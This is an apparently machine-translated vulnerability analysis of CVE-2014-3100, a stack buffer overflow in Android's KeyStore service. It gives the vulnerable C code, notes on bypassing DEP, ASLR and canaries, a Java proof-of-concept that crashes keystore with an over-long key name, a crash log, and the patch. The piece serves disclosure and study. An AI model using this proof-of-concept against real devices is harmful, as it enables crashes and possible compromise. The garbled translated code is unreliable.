/*
This article is prepared by Mo Gray Ash, reproduced please indicate the source.
mo Ash Gray mailbox: [email protected]
*/
1. KeyStore Service
In Android, the/system/bin/keystore process provides a secure store of services. In the previous version number. Other programs mainly use the UNIX socket daemon/dev/socket/keystore to access this service.
However. Now we are able to access it through the binder mechanism.
Each Android user has a private, secure storage area.
All secret key information uses a random key and is encrypted with the AES encryption algorithm. Encrypted ciphertext is encrypted with another key and saved to the local disk.
(The following key is calculated by the PKCS5_PBKDF2_HMAC_SHA1 function)
In some recent Android version numbers, certificate management (such as the private key of the RSA algorithm) can be supported by specialized hardware. That means. The KeyStore key is simply used to identify the real key stored on the proprietary hardware.
Although there are proprietary hardware support, there will still be some certificates, such as the VPN PPTP certificate, will still be saved on the local disk.
Figure one is a good illustration of how the KeyStore secure storage mechanism works.
Of course, there are a number of other internal information about KeyStore services that everyone can find on the web.
2. Simplicity
Through the gaze in the source code (KEYSTORE.C) We can know that KeyStore was designed to be a little bit simpler:
/* KeyStore is a secured storage for key-value pairs. In this implementation,* each file stores one key-value pair. Keys is encoded in file names, and* values is encrypted with checksums. The encryption key is protected by a A * user-defined password. To keep things simple, buffers is always larger than* the maximum space we needed, so boundary checks on buffers is omit ted.*/
While the code is simple to implement, the size of the buffers is not always smaller than the maximum space they envision.
3. Vulnerability
The easy-to-attack buffer is primarily in the Keystore::getkeyforname function.
Responsecode getkeyforname (<span style= "White-space:pre" ></span>blob * keyBlob, <span style= " White-space:pre "></span>const android:: String8 & KeyName, <span style=" White-space:pre "></ Span>const uid_t uid, <span style= "White-space:pre" ></span>const blobtype type) {char filename [NAME_MAX ];encode_key_for_uid (filename, uid, keyName);..}
This function has several callers, and the external program can easily invoke it through the binder interface. such as int32_t android::keystoreproxy::get (const string16& name, uint8_t** item, size_t*
Itemlength)). Therefore, it is very easy for a malicious program to control the value and length of the variable KeyName.
Next, the Encode_key function is called in the Encode_key_for_uid function, which causes the filename buffer overflow without bounds checking.
static int Encode_key_for_uid (char * out, uid_t uid, const android:: String8 & keyName) {int n = snprintf (out, NA Me_max, "% u_", uid), out + = N;return n + encode_key (out, keyName);} static int Encode_key (char * out, const android:: String8 & KeyName) {Const uint8_t * in = Reinterpret_cast < con St uint8_t * > (keyName. String ()); size_t length = KeyName. Length (); for (int i = length; i > 0;-I, + + in, + + out) {if (* in < ' 0 ' | | * in > ' ~ ') {* out = ' + ' + (* In >> 6), *++ out = ' 0 ' + (* in & 0 x3f); + + length;} else {* out = * IN;}} * out = ' + '; return length;}
4. Exploitation
If the malicious program assumes that the vulnerability is to be used, there are several issues that need to be addressed, such as:
(1). Data Run protection (DEP). This can be bypassed by means of return-oriented programming (ROP).
(2). Address randomization (ASLR).
(3). Stack Canaries.
(4). Encoding. Characters smaller than 0x30 (' 0 ') or greater than 0x7e (' ~ ') are encoded and then written back into the buffer.
It's just that the Android KeyStore service is restarted immediately after it's finished, which increases the probability of a successful attack. In addition, an attacker could theoretically use ASLR to fight encoding.
5. Impact
Various information leaks
6. Proof-of-concept
The vulnerability can be triggered by the following Java code:
Class KeyStore = Class.forName ("Android.security.KeyStore"); Method mgetinstance = Keystore.getmethod ("getinstance"); Method MGet = Keystore.getmethod ("Get", string.class); Object instance = Mgetinstance.invoke (null); Infmget.invoke (instance, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + " Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ");
After executing the above code. KeyStore process crashes, logs such as the following:
F/LIBC (2091): Fatal signal (SIGSEGV) at 0 x61616155 (code =1), Thread 2091 (keystore)
I/debug (949): * * * * * * * * * * * * * * * * * * * * * * * * * * * *
I/debug (949): Build fingerprint: ' Generic_x86/sdk_x86/generic_x86:4.3/jss15
J/eng. Android-build. 20130801.155736:eng/test-keys '
I/debug (949): Revision: ' 0 '
I/debug (949): pid:2091, tid:2091, Name:keystore >>>/System/bin/keystore <<<
I/debug (949): Signal (SIGSEGV), Code 1 (segv_maperr), fault addr 61616155
I/debug (949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030
I/debug (949): ESI b82a78a0 edi 000003 E8
I/debug (949): Xcs 00000073 xds 0000007 b xes 0000007 b XFS 00000000 XSS 0000007 b
I/debug (949): EIP b7774937 EBP 61616161 ESP BFF85D20 flags 00010202
I/debug (949):
I/debug (949): BackTrace:
I/debug (949): #00 pc 0000 C937/system/bin/keystore (KeyStore:: Getkeyforname (Blob *,
Android:: String8 Const &,
unsigned int, blobtype) +695)
I/debug (949):
I/debug (949): stack:
I/debug (949): Bff85ce0 00000000
...
I/debug (949): Bff85d48 00000007
I/debug (949): bff85d4c bff85ed0 [Stack]
I/debug (949): BFF85D50 BFF8E1BC [Stack]
I/debug (949): bff85d54 B77765a3/system/bin/keystore
I/debug (949): bff85d58 B7776419/system/bin/keystore
I/debug (949): bff85d5c bff85ed4 [Stack]
I/debug (949): .........
I/debug (949):
I/debug (949): Memory map around fault addr 61616155:
I/debug (949): (No map below)
I/debug (949): (No map for address)
I/debug (949): b72ba000-b73b8000 R--/Dev/binder
7. Patch
The Getkeyforname function no longer uses the C-style string to save the filename. In addition, the Getkeynameforuidwithdir function is used to replace encode_key_for_uid to generate the encoded key name. The former correctly calculates the length of the key after encoding.
Responsecode getkeyforname (BLOB * keyblob, const android:: String8 & KeyName, const uid_t UID, const blobtype Typ e) {android:: String8 Filepath8 (Getkeynameforuidwithdir (KeyName, uid)); ...} Android:: String8 getkeynameforuidwithdir (const android:: String8 & KeyName, uid_t uid) {char encoded [Encode_k Ey_length (KeyName) + 1]; Add 1 for NULL charencode_key (encoded, keyName); return Android:: String8:: Format ("% s/% u_%s", GetUserState (UID), Getuserdirname (), UID, encoded);}
Original paper:Http://www.slideshare.net/ibmsecurity/android-keystorestackbufferoverflow
Android KeyStore Stack Buffer Overflow (cve-2014-3100)